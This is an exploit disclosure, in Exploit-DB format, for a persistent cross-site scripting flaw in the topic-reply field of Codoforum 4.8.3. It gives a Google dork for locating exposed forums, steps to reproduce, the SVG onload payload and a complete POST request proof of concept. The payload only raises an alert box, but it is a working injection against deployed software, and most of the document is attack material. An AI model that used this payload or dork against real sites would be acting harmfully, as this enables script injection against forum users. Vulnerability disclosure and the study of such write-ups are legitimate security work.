Codoforum 4.8.3 - 'input_txt' Persistent Cross-Site Scripting

# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-07
# Exploit Author: Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: Linux
# CVE : N/A

Codoforum is prone to a Persistent Cross-site Scripting Vulnerability in User-Comment replay section
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.

Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Go to Start a new Topic >> Replay to any of the comment with XSS Payload
3. Payload : "><svg/onload=alert(1)>
4. Now  an XSS alert will be triggered here.

POC:

POST /forum/index.php?u=/Ajax/topic/reply HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 214
Origin: http://susmost.com
Connection: close
Referer: http://localhost/forum/index.php?u=/topic/21/avg-antivirus-download-avg-antivirus-free-download-topbrandscompare
Cookie: PHPSESSID=b5dccfcef3b5f4ce9571fbd3269d5b23; cf=0

input_txt="><svg/onload=alert(1)>&output_txt=STARTCODOTAGp%3E%22%26gt%3B%26lt%3Bsvg%2Fonload%3Dalert(1)%26gt%3BSTARTCODOTAG%2Fp%3E%0A&tid=21&end_of_line=&token=35f5f85a86b15f475bbd9b79de313fa0&pid=false